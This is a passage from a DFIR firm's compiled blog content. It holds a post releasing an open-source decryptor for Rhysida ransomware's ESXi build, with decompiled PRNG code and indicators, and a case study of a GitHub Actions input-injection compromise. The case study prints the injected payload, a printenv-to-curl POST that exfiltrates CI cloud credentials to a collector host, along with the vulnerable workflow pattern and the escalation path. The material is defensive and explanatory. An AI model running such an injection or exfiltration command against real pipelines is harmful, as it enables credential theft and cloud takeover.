# IONSEC — full content

> IONSEC is a boutique Israeli digital forensics and incident response (DFIR) firm. We run 24/7 emergency incident response across IT, cloud, AI, OT and IoT networks with an assured four-hour response from first contact, publish open-source DFIR tooling, and track state-sponsored threat actors. The people who publish our APT research are the people who take your escalations.

This file contains the complete text of all 30 published IONSEC posts.
Page-level content (services, about) is indexed at https://www.ionsec.io/llms.txt

---

# The clock is still the key: INSITO, free recovery for Rhysida's ESXi locker

URL: https://www.ionsec.io/resources/insito-rhysida-esxi-recovery
Category: Tools
Author: IONSEC Team
Published: 2026-11-07
Updated: 2026-11-07
Tags: open-source, ransomware, dfir, incident-response, rhysida, esxi, decryptor

INSITO is a free, open-source (MIT) single binary that recovers files encrypted by Rhysida's ESXi locker. No ransom, no attacker keys, no internet. This post covers the tool, a live recovery, and the research behind it.

A datastore full of `.rhysida` files used to have one practical answer: the ransom note. For the ESXi build of this family, that is no longer true.

INSITO is our free, open-source recovery tool for Rhysida's ESXi locker. It is one static binary, MIT licensed, that you copy to the ESXi shell (or any Linux box), point at the datastore and leave to work. It needs no ransom, no attacker keys and no internet connection. The name says where it works best: *in situ*, on the host where the ransomware ran.

<figure class="rf rf-wide">
  <div class="rf-stats">
    <div class="rf-stat"><b>32-bit</b><span>wall-clock second: the only secret behind every per-file key</span></div>
    <div class="rf-stat"><b>0</b><span>attacker keys, ransom payments or network calls needed</span></div>
    <div class="rf-stat"><b>4/4</b><span>files restored byte-exact on a live datastore, clock found blind</span></div>
    <div class="rf-stat"><b>1</b><span>static x86-64 binary, ~1.4 MB, runs under ESXi's BusyBox</span></div>
  </div>
</figure>

It builds on the researchers who broke this family first, credited in full below, and extends their method to the one build their tooling did not reach. The rest of this post covers what ships, a live recovery, how responders get the fastest result, and the research behind it.

## Why this tool exists

Rhysida encrypts VMware datastores in place and leaves a *CriticalBreachDetected* note. In February 2024, researchers at Kookmin University, working with KISA, showed that the family's key generation could be regenerated, and a free decryptor followed <sup>[1][2][4]</sup>. That decryptor covers the early Windows builds. Recovery guidance has since carried a consistent caveat: newer builds and **the Linux/ESXi variant are not covered** <sup>[5]</sup>.

A production cluster with every datastore encrypted is one of the highest-stakes scenes in incident response. Decryptor work across the community and vendors never stops, and every family that gets broken matters. This was the piece we could close, so we built it and are giving it away.

## The flaw, and the gap we closed

**The flaw.** Every Rhysida-encrypted file ends with a trailer holding the file's AES-256 key and IV, each wrapped with RSA-4096. Unwrapping should require the attacker's private key. But the randomness behind the key, the IV and the wrap itself comes from a stream seeded with nothing but the wall clock: a 32-bit count of seconds. The Kookmin/KISA team proved for the Windows builds that this stream can be regenerated from the seed. Recovery is therefore a search for one second, not an attack on RSA.

**The gap.** The ESXi locker carries the same flaw behind a different C library. It links glibc, whose `rand()` is an additive-feedback generator with nothing in common with the Windows C runtime's linear congruential generator that the published method regenerates. The stream is consumed in a different order, and the target is a datastore rather than a file share: thousands of files, a BusyBox userland, no package manager, no room for tooling. None of the published tooling covered this build.

**What INSITO adds.** A from-scratch model of the ESXi locker's generator and wrap construction, verified byte-for-byte in the lab; a trailer-replay check that needs nothing but the encrypted files; an automatic clock search that scales to every core when no time anchor is available; and a single static binary that runs where the incident is. The engine is one readable C file.

## What ships

- **Single static binary.** x86-64 Linux and ESXi, ~1.4 MB, no dependencies. `scp` it to the host and run it under BusyBox. Every tagged release is built in CI and published with `SHA256SUMS`.
- **One-time consent, then silence.** A short MIT notice on first run; type `accept` once. The acceptance is recorded locally and later runs stay quiet. Scripts pass `--accept-license`.
- **Automatic clock search.** With timestamps intact, the search anchors itself on the files. With no anchor, it escalates to a hardware-scaled search over the last 30 days (configurable).
- **Reports you can hand to an insurer.** Every run writes a text and a JSON recovery report: clock window, the second that matched, per-file results. Encrypted originals are opened read-only and never modified.
- **Fully offline.** No telemetry, no downloads, no keys sent anywhere. The crypto libraries are vendored in the repository, and the binary builds from source with two commands.
- **Tested in CI.** A deterministic synthetic corpus verifies the recovery engine byte-for-byte on every push, alongside AddressSanitizer and UndefinedBehaviorSanitizer builds, secret scanning and CodeQL.

## Watch it work

Four files encrypted by the real locker on a datastore. One command. The encryption second found blind, 4/4 files restored and verified by SHA-256.

<figure class="rf rf-wide">
  <video controls preload="metadata" playsinline poster="/assets/blog/insito-rhysida-esxi-recovery/demo-poster.png" style="width:100%;border-radius:8px;border:1px solid #2a2a3e;background:#050507">
    <source src="/assets/blog/insito-rhysida-esxi-recovery/demo.mp4" type="video/mp4" />
    Your browser does not support the video tag.
  </video>
  <figcaption>Live recovery on a lab ESXi host: one command, 4/4 files restored. No sound; every line on screen is the tool's own output.</figcaption>
</figure>

## Faster recovery: a guide for responders

The tool is fastest where the ransomware ran. The search is anchored on the clock, and every step taken offline can strip away its best clue: the files' own timestamps. Plan the recovery in this order:

| Tier | Where you run it | Speed | What to do |
| --- | --- | --- | --- |
| 0 | On the affected ESXi host, against the datastore | Fastest (minutes) | Nothing to configure; mount read-only if you can |
| 1 | Offline, timestamps preserved | Same as tier 0 | Copy with `tar cpzf`, `rsync -aH` or `scp -p`, never plain `cp`/`scp` |
| 2 | Offline, timestamps lost, clock known | Near tier 0 | Run `date +%s` on the victim host, then `--clock <epoch>` |
| 3 | Offline, nothing known | Compute-bound | Automatic full-core search; bound it with `--lookback <days>` |

Good clock anchors for tier 2 are vmkernel or hostd log timestamps, your IR timeline, or the ransom note's drop time. For tier 3, a few hours of window is minutes of compute; the 30-day default is a long run, so narrow it the moment anyone can name the incident week. `--clock` and timestamp-preserving copies are the difference between minutes and days.

## Get it, build it, verify it

<div class="rf" style="border:1px solid #2a2a3e;border-radius:8px;background:#0a0a0f;padding:14px 18px;margin:1.1rem 0 1.4rem;">
  <div style="font-size:12px;font-weight:700;letter-spacing:.12em;text-transform:uppercase;color:#8a8a9e;">CyberWeek 2026 · Monday, 9 November 2026</div>
  <div id="insito-cd" style="font-size:15px;line-height:1.6;color:#c4c4d4;margin-top:6px;">The source repository and the release binary go public on Monday, 9 November, at 09:00 Israel time.</div>
</div>

<script>
  (function () {
    var TARGET = Date.UTC(2026, 10, 9, 7, 0, 0); // 09:00 Israel time (UTC+2)
    function tick() {
      var el = document.getElementById('insito-cd');
      if (!el) return;
      var ms = TARGET - Date.now();
      if (ms <= 0) {
        el.textContent = 'ionsec/insito is public. The download below is live.';
        clearInterval(timer);
        return;
      }
      var d = Math.floor(ms / 864e5);
      var h = Math.floor((ms % 864e5) / 36e5);
      var m = Math.floor((ms % 36e5) / 6e4);
      el.textContent = 'The source repository and the release binary go public at CyberWeek 2026, Monday 09:00 Israel time: in '
        + (d ? d + ' d ' : '') + h + ' h ' + m + ' min.';
    }
    var timer = setInterval(tick, 30000);
    tick();
  })();
</script>

- **Source:** [github.com/ionsec/insito](https://github.com/ionsec/insito)
- **Download:** [the latest release binary](https://github.com/ionsec/insito/releases/latest) with `SHA256SUMS`
- **Verify:** `sha256sum -c SHA256SUMS`. The release binary is `fa0402e646c671478ca387c71f597a27fcf49a5cc1e0782bccc9a092afb659f5`, and its [VirusTotal scan is public](https://www.virustotal.com/gui/file/fa0402e646c671478ca387c71f597a27fcf49a5cc1e0782bccc9a092afb659f5).
- **Build:** `make vendor && make`. LibTomCrypt and LibTomMath ship in the repository; nothing else is required.
- **Preview:** `./insito --scan /vmfs/volumes/<name>` is a dry run that writes nothing.
- **Recover:** `./insito --datastore /vmfs/volumes/<name>` confirms, restores and reports. Scripted runs add `--accept-license --yes`.
- **If nothing matches:** leave it running. The offline search uses every core and stops on the first hit; `--lookback`, `--window` and `--threads` give you control.

## Inside the research

The rest of this post is the research behind the tool, condensed from our internal write-up. It is here so the method can be checked rather than trusted.

### R1. One ESXi sample in public reach

The scope of the claim depends on how many ESXi builds exist to test, so we swept every public acquisition channel available to us for the family's ELF build:

| Source | Search | Result |
| --- | --- | --- |
| MalwareBazaar (abuse.ch) | Five tag spellings plus an ELF file-type filter | 31 Rhysida-tagged files, **exactly one ELF** |
| ThreatFox (abuse.ch) | Rhysida IOC search | IOCs present, no sample-linked hashes |
| theZoo | Full repository index | No Rhysida (the family post-dates the collection) |
| Kookmin/KISA paper, Table 1 <sup>[1]</sup> | 11 analyzed builds | Windows (PE) builds only, no ELF hash |

That single public build is an x86-64 ELF of 259,304 bytes, statically linked against glibc and LibTomCrypt, first seen on MalwareBazaar on 10 December 2023. It carries the `Rhysida-0.1` label in its encryption code and the family's ESXi behaviour: `esxcli` calls, a `/etc/motd` rewrite and an attempt to move the VMware hostd web root.

### R2. Same flaw, different libc

Decompiling the ELF shows `main` doing what the Windows builds do, `srand((unsigned) time(NULL))`, and then building **one global** ChaCha20 generator whose 40 bytes of seed material come straight from `rand()`:

```c
/* ESXi build, decompiled */
srand((uint) time(NULL));
chacha20_prng_start(&ps); chacha20_prng_ready(&ps);
for (i = 0; i < 0x28; i++)                    /* 40 entropy bytes */
    ent[i] = ((char)(prng_idx + i + 1)) * (char)(rand() % 0x100);
chacha20_prng_add_entropy(ent, 0x28, &ps);
p = malloc(rand() % 0x100 + 1);               /* one interleaved draw */
chacha20_prng_read(p, 8, &ps);                /* 8-byte self-test */
free(p);
```

On Windows, `rand()` is the C runtime's linear congruential generator, which the published method regenerates. On the ESXi build it is **glibc's TYPE_3 additive generator**, and this is where the method had to be rebuilt. Two details cost us iterations and are worth recording. First, recent glibc releases no longer expose the classic published state constants, so textbook reimplementations reproduce nothing. Second, the live generator is a 31-word state: `r[0]` holds the seed, `r[1..30]` are Lehmer iterates, the feedback pointers start at 3 and 0, and 310 outputs are discarded before the first real draw. We replicated it exactly and verified it draw-for-draw against a live glibc across many seeds:

```c
/* glibc TYPE_3, faithful model */
r[0] = seed;
for (i = 1; i <= 30; i++)                     /* Lehmer chain */
    word = 16807*(word % 127773) - 2836*(word / 127773), r[i] = word;
f = 3; k = 0;
for (i = 0; i < 310; i++)                     /* warm-up discards */
    (r[f] += r[k]) &= 0xffffffff, f = (f+1)%31, k = (k+1)%31;
/* rand(): */ r[f] += r[k]; return (uint32)r[f] >> 1;
```

### R3. The file format

Encrypting a file takes 48 bytes from the global stream (a 32-byte key, then a 16-byte IV), encrypts the body in place with AES-256-CTR using a little-endian counter, and appends a fixed 1,036-byte (`0x40C`) trailer:

```text
┌──────────────────────────── 0x40C trailer ─────────────────────────────┐
│ RSA-4096-OAEP(key32) 512 B │ len4 = 512 │ RSA-4096-OAEP(iv16) 512 B   │
│ len4 = 512 │ type4 = 1                                                │
└────────────────────────────────────────────────────────────────────────┘
  OAEP label "Rhysida-0.1"; OAEP seed bytes drawn from the same live stream
```

Each wrapped blob is a deterministic function of the stream. Given a candidate second, we can re-derive the key and IV, replay both RSA-OAEP wraps with the locker's own embedded public key, and compare the result with the file's trailer. The public key is no secret: the locker has to carry it to encrypt, and we carve it from the sample at build time. Campaign keys rotate, so `--key` accepts a different locker binary, a PEM block or a raw modulus and exponent.

### R4. The trailer-replay check

INSITO chains those steps into one program. For every candidate second in the window, it rebuilds the ChaCha20 stream exactly as `main` does, draws key and IV pairs along it, replays both wraps and compares them byte-for-byte with every file's trailer. The second that matches re-derives each file's key and decrypts it. No plaintext, no captured keys and no RSA private key are involved; the only inputs are the encrypted files and a clock window. Each comparison costs one cheap public-key operation, and on a real incident the detonation time is usually known to the minute.

```text
=== victim-side run against the validation set ===
#SEED 1793983242 resolved=4/5
contract_2026_final.pdf.rhysida   seq=0  3628B  exact=1
invoice_2026.xlsx.rhysida         seq=1 20024B  exact=1
notes_project.txt.rhysida         seq=2    40B  exact=1
photo_holiday.jpg.rhysida         seq=3 65560B  exact=1
=== RESULT: resolved=4/5 files; 4 byte-exact vs originals ===
```

The unresolved fifth file is the ransom note, not a victim file.

### R5. Reproduced and recorded

Because the claim rests on a single public build, we recorded the full lifecycle (staging, detonation, recovery) inside a disposable, network-isolated container, with a filesystem snapshot at each stage. The sample stayed on a read-only mount, and the snapshots hold only synthetic decoy files and outputs.

| Stage | Contents |
| --- | --- |
| T0, staged | Four plaintext decoy files and their SHA-256 manifest |
| T1, encrypted | Four `.rhysida` files and the *CriticalBreachDetected* note |
| T2, recovered | The post-recovery state, including the restored copies |

The decryptor ran blind over a two-minute window and returned **exactly 1793983242**, the recorded detonation second. Every restored file matched its pre-encryption SHA-256 from the T0 manifest. A second, independent detonation earlier the same day agreed: seed 1793982603, equal to its detonation second, 4/4 byte-exact.

### R6. What this covers, and what it does not

- **Covered.** The public ESXi/ELF build, validated byte-exact across three recorded live detonations and one victim-side run.
- **Build-dependent.** The clock flaw is specific to the build. A Rhysida build that moved key generation off the clock, or switched generators, will not match, and no amount of searching can manufacture a hit. Triage first: check the marker strings, carve the embedded public key and confirm the entropy source before relying on a sweep. We tested the one public ESXi build; the absence of others is a finding, not proof that none exist.
- **Large files.** Files well over ~1 MiB may fall under partial-encryption rules we have not exercised. Recovery covers what the trailer's CTR body holds, and we do not claim more.
- **Not recoverable.** Builds with the flaw removed.

### R7. Indicators

| Indicator | Value |
| --- | --- |
| ESXi/ELF encryptor (SHA-256) | `be5d2e94c2498ec052fb025e3348085e418c856dd43080501acfe2067ba54c41` |
| Encrypted-file extension | `.rhysida` |
| Ransom note | `CriticalBreachDetected` |
| Trailer | `0x40C` bytes: `[keyblob 512][len4][ivblob 512][len4][type4]` |
| OAEP label | `Rhysida-0.1` |
| Onion portal (from the note) | `rhysidafohrhyy2aszi7bm32tnjat5xri65fopcxkdfxhi4tidsg7cad[.]onion` |
| Host behaviour (Linux) | `esxcli` invocation, `/etc/motd` rewrite, VMware hostd web-root `mv` attempt |

| Artifact | SHA-256 |
| --- | --- |
| Carved ESXi campaign public key (`pubkey_elf.h`) | `15d6acb635b351591edbbe6aaa8dfeb7eaf58ffd780b38e983dcd726de7ae8b4` |
| INSITO static binary (release) | `fa0402e646c671478ca387c71f597a27fcf49a5cc1e0782bccc9a092afb659f5` |

## Offline, audited, honest

A recovery tool is only as trustworthy as its behaviour when nobody is watching. INSITO's engine is a single readable C file. The search never touches the network. Originals are opened read-only, and every write is a new file under `rhysida_recovered/`. There is no account, no license server and no usage ping. The one-time consent record is stored locally; inspect it with `insito --license-status` and delete it with `rm`.

All research was carried out in an isolated, authorised lab on a sample from a public malware repository. No third-party data was touched, and no attacker private key exists anywhere in our stack: everything the tool needs is the public key the malware carries and the victim's own clock.

## License and responsible use

INSITO is released under the MIT license, © 2026 IONSEC.IO. Use it only on systems you own or are explicitly authorised to recover. Recovery is best-effort: keep the encrypted originals until the restored copies are verified (INSITO never modifies them). Unlawful use is prohibited; you are responsible for your use.

<div class="bg-ionsec-red-fill text-white" style="border-radius:8px;margin:2.4rem 0;">
  <div style="display:flex;align-items:center;justify-content:center;gap:16px;flex-wrap:wrap;text-align:center;padding:12px 18px;">
    <span style="display:flex;align-items:center;gap:10px;font-size:13px;font-weight:700;">
      <span class="pulse-dot" style="width:7px;height:7px;background:#fff;" aria-hidden="true"></span>
      Ransomware or IR emergency?
    </span>
    <span style="font-size:13px;font-weight:500;">On-call responders, 24/7. Assured four-hour response from first contact.</span>
    <span style="display:flex;align-items:center;gap:4px;flex-wrap:wrap;">
      <a href="tel:+972543181773" style="color:#fff;font-size:13px;font-weight:700;text-decoration:underline;text-underline-offset:4px;text-decoration-color:rgba(255,255,255,.6);padding:0 6px;">Call +972 54 318 1773</a>
      <a href="https://wa.me/972543181773?text=Hi,%20I%E2%80%99m%20under%20attack" target="_blank" rel="noopener noreferrer" style="color:#fff;font-size:13px;font-weight:700;text-decoration:underline;text-underline-offset:4px;text-decoration-color:rgba(255,255,255,.6);padding:0 6px;">WhatsApp →<span class="sr-only"> (opens in a new tab)</span></a>
      <a href="mailto:info@ionsec.io" style="color:#fff;font-size:13px;font-weight:700;text-decoration:underline;text-underline-offset:4px;text-decoration-color:rgba(255,255,255,.6);padding:0 6px;">info@ionsec.io</a>
    </span>
  </div>
</div>

## References

- **[1]** G. Kim, S. Kang, S. Baek, K. Kim, J. Kim, *A Method for Decrypting Data Infected with Rhysida Ransomware*, arXiv:2402.06440, February 2024. https://arxiv.org/abs/2402.06440
- **[2]** G. Kim, S. Kang, S. Baek, K. Kim, J. Kim, *How to decrypt files encrypted by Rhysida ransomware without the attacker's private key*, Computers & Security, 2025. https://www.sciencedirect.com/science/article/abs/pii/S016740482500029X
- **[3]** KISA, *Rhysida ransomware cryptographic analysis report*, January 2024. https://seed.kisa.or.kr
- **[4]** Kookmin University DF&C lab, *Rhysida recovery tool for the Windows builds, developed with KISA*, 2024. https://dfnc.kookmin.ac.kr
- **[5]** ProvenData, *Rhysida Ransomware: Attack Chain, IOCs and Recovery Options*. https://www.provendata.com/blog/rhysida-ransomware
- **[6]** abuse.ch, *MalwareBazaar* sample database, used for the ELF-build sweep. https://bazaar.abuse.ch

LibTomCrypt and LibTomMath are vendored under their own licenses.

---

# One Workflow Input: From a Pipeline Dispatch to Cloud Administrator

URL: https://www.ionsec.io/resources/github-actions-input-injection-cloud-takeover
Category: Case Study
Author: IONSEC Team
Published: 2026-10-31
Updated: 2026-11-01
Tags: incident-response, dfir, case-study, ci-cd-security, github-actions, aws, oidc, cloud-security

A poisoned record in a client portal reached a GitHub Actions input that was expanded straight into shell. The pipeline's own one-hour cloud session left the runner 160 times; five days later the attacker held administrator rights and every production database was staged for export under their key. The full sequence, the evidence, and the controls that break it.

It began with a form field.

A business record — a customer name, a domain, a status — was written into a portal that an automation watched. When the record changed, the automation dispatched a deployment workflow. That workflow pasted its inputs directly into shell scripts, and one of those inputs now carried a command substitution. The workflow engine expanded it before bash ever read the line. What ran next was not a deployment.

Five days later the attacker held administrator rights in the production cloud account, interactive shells inside running production containers, and an export of every production database, encrypted under a key that they had created.

This is the sequence as the evidence shows it, the telemetry that did not exist, and the controls that would have broken it before the first command ran.

<p class="text-[13px] text-ionsec-text-dim"><em>How to read this case.</em> Times are UTC. Days are counted from the first poisoned pipeline run (T+0). Names of systems, roles, datasets and people are generalised; counts are exact, data volumes are rounded. Attacker infrastructure is listed in the appendix.</p>

## The short version

The pipeline was not compromised. It worked exactly as configured. That is the finding.

An untrusted value reached a `run:` block through `${{ }}` interpolation, which the workflow engine resolves before the shell parses anything. The resulting script executed attacker-supplied shell with the identity of a job that had been granted a production deployment role. The credentials action in that job had already minted a one-hour federated session and placed it in the environment; `printenv` was enough to take it. From there the attacker never needed the runner again: they replayed that session from their own infrastructure, opened network paths, started shells in live production containers, attached administrator rights to a workload role that outlived every session, and staged every production database for export.

<figure class="rf rf-wide" data-reveal>
  <div class="rf-stats">
    <div class="rf-stat"><b>84%</b><span>of pipeline runs over six days carried the payload (160 of 191)</span></div>
    <div class="rf-stat"><b class="is-red">1 hour</b><span>lifetime of each stolen federation session</span></div>
    <div class="rf-stat"><b>≈3 TB</b><span>of production data exported under an attacker-created key</span></div>
    <div class="rf-stat"><b>10 days</b><span>from the first poisoned run to the backdoor's removal</span></div>
  </div>
</figure>

<figure class="rf rf-wide" data-reveal>
  <div class="rf-card">
    <p class="rf-eyebrow">Ten days · what happened, in order</p>
    <ol class="rf-tl">
      <li style="--i:0"><span class="d">T+0</span><span class="t">00:36</span><span class="w">First payload-bearing pipeline run</span></li>
      <li style="--i:1"><span class="d">T+1</span><span class="t">01:05</span><span class="w">First firewall rule opened toward an attacker address, by the pipeline's own session, a minute after two malformed attempts</span></li>
      <li style="--i:2"><span class="d">T+1</span><span class="t">07:24</span><span class="w">A fresh session replayed from outside the cloud: 552 calls inventorying DNS, CDN and certificates</span></li>
      <li style="--i:3" class="is-minor"><span class="d">T+1</span><span class="t">07:37</span><span class="w">Attempt to write an inline role policy — denied</span></li>
      <li style="--i:4"><span class="d">T+2</span><span class="t">06:47</span><span class="w">First shell opened inside a live production container</span></li>
      <li style="--i:5"><span class="d">T+2</span><span class="t">14:47</span><span class="w">An allow-all policy, written by the pipeline's session, attached to a new role; by evening every recon container runs under a role carrying it</span></li>
      <li style="--i:6"><span class="d">T+2</span><span class="t">15:01</span><span class="w">Production services re-launched with exec enabled; recon containers built from the client's own image follow</span></li>
      <li style="--i:7"><span class="d">T+4</span><span class="t">16:41</span><span class="w">Administrator policy attached to the live workload role; the helper role used to do it deleted four seconds later</span></li>
      <li style="--i:8"><span class="d">T+4</span><span class="t">17:19</span><span class="w">Shell in a workload container; root database login from inside it</span></li>
      <li style="--i:9"><span class="d">T+4</span><span class="t">17:53</span><span class="w">First database export succeeds, on the fifth attempt, under an attacker-created key</span></li>
      <li style="--i:10"><span class="d">T+5</span><span class="t">00:17</span><span class="w">Point-in-time recovery enabled on 38 tables, which are then exported</span></li>
      <li style="--i:11" class="is-minor"><span class="d">T+5</span><span class="t">06:41</span><span class="w">Last payload-bearing pipeline run</span></li>
      <li style="--i:12"><span class="d">T+5</span><span class="t">09:26</span><span class="w">Backdoor user created with administrator rights and long-lived keys</span></li>
      <li style="--i:13"><span class="d">T+5</span><span class="t">10:08</span><span class="w">Point-in-time recovery disabled again on all 38 tables</span></li>
      <li style="--i:14" class="is-minor"><span class="d">T+7</span><span class="t">07:48</span><span class="w">Last attacker activity: the backdoor lists the account's threat detectors</span></li>
      <li style="--i:15" class="is-def"><span class="d">T+7</span><span class="t">12:11</span><span class="w">First defender action: the pipeline's pending queue is closed</span></li>
      <li style="--i:16" class="is-def"><span class="d">T+9</span><span class="t">15:08</span><span class="w">CI integration suspended, pipeline secrets removed, federated trust disabled</span></li>
      <li style="--i:17" class="is-def"><span class="d">T+9</span><span class="t">19:22</span><span class="w">Backdoor user and its key deleted</span></li>
    </ol>
  </div>
  <figcaption>Figure 1 — The ten days, from CloudTrail, the pipeline's run history and the database error log. Red is the attacker, grey is context, blue is the defender. Read the gap between T+5 00:17 and T+5 10:08 first: that is the window in which the ability to restore was taken away.</figcaption>
</figure>

## It started with a record, not a repository

The client runs a multi-tenant platform: one application, many customer records, each record a row with a domain, a status and a set of operational flags. Support staff change those rows all day through a portal. A separate automation listens for changes and calls a workflow with the row's values as dispatch inputs, so that a domain move or a provisioning step happens without anyone running a command. It authenticated to the code host with a long-lived personal token and created, merged and dispatched around the clock.

That design is common and it is not wrong. It is, however, a path from an ordinary web form to shell execution, and it only needs one missing cast.

The record that carried the payload was written before the first poisoned run. We know that precisely, because run history gives us a hard edge: 160 consecutive dispatches across four operations arrived with the payload already in them, and the run immediately before that band was clean. The write happened at or before the first of those. Which session wrote it lives in application and database audit logs that were outside the authorised scope.

<figure class="rf rf-wide" data-reveal>
  <div class="rf-card rf-phases">
    <p class="rf-eyebrow">Payload-bearing runs per day · 160 of 191</p>
    <div class="rf-row" style="--c:#e63946">
      <span class="rf-name">T+0</span>
      <span class="rf-holds"><span class="rf-track"><span class="rf-bar" style="--w:36%;--c:#e63946"></span></span></span>
      <span class="rf-count">16</span>
    </div>
    <div class="rf-row" style="--c:#e63946">
      <span class="rf-name">T+1</span>
      <span class="rf-holds"><span class="rf-track"><span class="rf-bar" style="--w:67%;--c:#e63946"></span></span></span>
      <span class="rf-count">30</span>
    </div>
    <div class="rf-row" style="--c:#e63946">
      <span class="rf-name">T+2</span>
      <span class="rf-holds"><span class="rf-track"><span class="rf-bar" style="--w:80%;--c:#e63946"></span></span></span>
      <span class="rf-count">36</span>
    </div>
    <div class="rf-row" style="--c:#e63946">
      <span class="rf-name">T+3</span>
      <span class="rf-holds"><span class="rf-track"><span class="rf-bar" style="--w:69%;--c:#e63946"></span></span></span>
      <span class="rf-count">31</span>
    </div>
    <div class="rf-row" style="--c:#e63946">
      <span class="rf-name">T+4</span>
      <span class="rf-holds"><span class="rf-track"><span class="rf-bar" style="--w:100%;--c:#e63946"></span></span></span>
      <span class="rf-count">45</span>
    </div>
    <div class="rf-row" style="--c:#e63946">
      <span class="rf-name">T+5</span>
      <span class="rf-holds"><span class="rf-track"><span class="rf-bar" style="--w:4%;--c:#e63946"></span></span></span>
      <span class="rf-count">2</span>
    </div>
    <div class="rf-row" style="--c:#7c9cff">
      <span class="rf-name">After</span>
      <span class="rf-holds"><span class="rf-track"><span class="rf-bar" style="--w:0%;--c:#7c9cff"></span></span></span>
      <span class="rf-count">0</span>
    </div>
  </div>
  <figcaption>Figure 2 — Daily payload-bearing runs, counted from the workflow run history. The automation kept dispatching long after the payload stopped arriving; what ended was the injection, not the pipeline.</figcaption>
</figure>

## The interpolation that runs as code

Here is the shape of the sinks, rewritten with neutral names:

```yaml
# Vulnerable: the input is pasted into the script before bash ever parses it
- name: Apply record change
  run: ./bin/apply-change --record-id "${{ inputs.record_id }}"
```

Three things are happening, and the third is the one people get wrong.

**First**, `${{ }}` is not shell syntax. It is the workflow engine's own template language, and it is resolved when the workflow file is compiled into a script, before the runner hands anything to bash.

**Second**, whatever the expression evaluates to is substituted as raw text into that script. If the input is `1042`, the script says `--record-id "1042"`. If the input is `1042$(something)`, the script says `--record-id "1042$(something)"`.

**Third**, the quotes are bash syntax, and they were already there when the substitution happened. They quote the *result*, not the input. Bash sees a command substitution inside double quotes and runs it — that is exactly what double quotes are specified to preserve. And a value that contains a double quote of its own simply closes them; GitHub's script-injection documentation uses exactly that as its example.

> **The rule.** Quoting an expression that the workflow engine expands is not sanitisation. It is decoration. The value has to reach the shell as data in an environment variable, or it should not reach the shell at all.

The real workflow had both kinds. Some sinks passed the input bare as a script argument; others had it inside double quotes, in a branch name, a file path and a commit message. Both executed. The payload kept the genuine record id in front, so every downstream step still found the record it expected:

```text
--record-id "1042$(sh -c 'printenv|base64|curl -m 20 -s -o /dev/null -X POST --data-binary @- https://<collector>||true')"
```

No download, no dropper, no persistence. One command substitution and an outbound POST, with a timeout and a `||true` so the step never failed and nobody looked. The runner had egress, as runners do, and nothing in the endpoint stack had anything to look at.

One poisoned dispatch, as a single run carried it:

<figure class="rf rf-wide">
  <div class="rf-card" style="padding:10px;">
    <img src="/assets/blog/github-actions-input-injection-cloud-takeover/run-log.webp" alt="Redacted pipeline log excerpt showing the poisoned dispatch input replicated into the job name, checkout configuration, branch name, file path, script arguments, commit message and pull-request title of one run" width="1400" height="533" loading="lazy" decoding="async" style="display:block;width:100%;height:auto;border-radius:6px;">
  </div>
  <figcaption>Figure 3 — One poisoned input, as one run carried it: job name, checkout, branch name, file path, script argument, commit message, documentation line, pull-request title. Reconstructed for publication — timestamps, the platform's own ids and internal naming are removed, bars mark redacted spans. What the log proves: the pipeline wrote its own artifacts with the payload inside them, and the record kept moving.</figcaption>
</figure>

In this repository there were fourteen or more sinks of this shape across two workflows. Every free-text dispatch input was reachable: action, environment, record id, parameters, status, provision id, original run id.

## What actually left the runner

The job that carried the payload ran under a deployment environment, and the federated trust for the deployment role was pinned to that environment alone:

```yaml
# What was configured — any workflow in the repository reaching this
# environment could assume the role.
sub: repo:<org>/<repo>:environment:production
```

That is a real constraint, and it is not the constraint people think it is. It binds the token to *an environment in a repository*, not to a workflow and not to a caller. Worse, in this workflow the environment itself was chosen by a dispatch input — `environment: ${{ inputs.environment }}` — so the same untrusted record that carried the payload also selected which credentials the job would receive.

The workflow then used the standard credentials action, which assumes the role and writes the session into the job environment for the rest of the job to use. That is correct behaviour, and it is why `printenv` worked.

The credential was not stolen from a secret store. It was minted for the job, valid for an hour, and printed by the job itself.

Across the six days the POST target rotated through 22 collector tokens on a free request-inspection service. That is not sophistication; it is a loop that opens a new bin when the last one fills up. Every exfiltration was TLS from a CI provider's address range to a popular developer service. Nothing about it looks like malware, because nothing about it is malware.

From there the attacker moved out of the runner entirely. Sessions were replayed from six addresses in four networks — three hosts in one hosting range, an Israeli hosting provider, a US residential ISP and a VPN-class range — none of them cloud-native, none of them the runner. The token was the identity; the network was theirs. Because every poisoned run minted a fresh session, a one-hour expiry never mattered: the attacker always had one less than an hour old.

## From a one-hour session to a permanent administrator

This is the part the short version compresses, and the part most worth understanding, because it is where a pipeline compromise becomes an account compromise.

The deploy role could do a lot, but not everything. Its first attempt to write an inline policy onto a role was **denied**. Its later attempt to start a database export directly was **denied**. What it *could* do was change firewall rules, launch and exec into containers, create roles, write managed policies of its own and attach them. The attacker used exactly that, twice.

<figure class="rf rf-wide" data-reveal>
  <div class="rf-card rf-gantt-wrap">
    <p class="rf-eyebrow">Campaign overview · activity by phase</p>
    <div class="rf-legend"><span style="--c:#e63946">attacker, high impact</span><span style="--c:rgba(255,255,255,0.55)">attacker, other</span><span style="--c:#7c9cff">defender</span></div>
    <div class="rf-gantt"><span>Credential theft</span><div class="rf-lane"><i class="is-hi" style="--x:0.2%;--w:37.5%"></i></div></div>
    <div class="rf-gantt"><span>Discovery</span><div class="rf-lane"><i class="is-lo" style="--x:9.4%;--w:0.5%"></i><i class="is-lo" style="--x:38.6%;--w:13.8%"></i></div></div>
    <div class="rf-gantt"><span>Firewall changes</span><div class="rf-lane"><i class="is-lo" style="--x:7.4%;--w:13.0%"></i></div></div>
    <div class="rf-gantt"><span>Shells in containers</span><div class="rf-lane"><i class="is-hi" style="--x:16.3%;--w:21.4%"></i></div></div>
    <div class="rf-gantt"><span>Recon containers</span><div class="rf-lane"><i class="is-lo" style="--x:18.8%;--w:1.9%"></i></div></div>
    <div class="rf-gantt"><span>Privilege escalation</span><div class="rf-lane"><i class="is-hi" style="--x:18.6%;--w:1.0%"></i><i class="is-hi" style="--x:33.4%;--w:0.6%"></i></div></div>
    <div class="rf-gantt"><span>Snapshot &amp; export</span><div class="rf-lane"><i class="is-hi" style="--x:33.8%;--w:2.1%"></i></div></div>
    <div class="rf-gantt"><span>Backdoor user live</span><div class="rf-lane"><i class="is-hi" style="--x:38.5%;--w:31.6%"></i></div></div>
    <div class="rf-gantt"><span>Anti-recovery</span><div class="rf-lane"><i class="is-lo" style="--x:38.6%;--w:0.5%"></i></div></div>
    <div class="rf-gantt"><span>Containment</span><div class="rf-lane"><i class="is-def" style="--x:53.6%;--w:27.5%"></i></div></div>
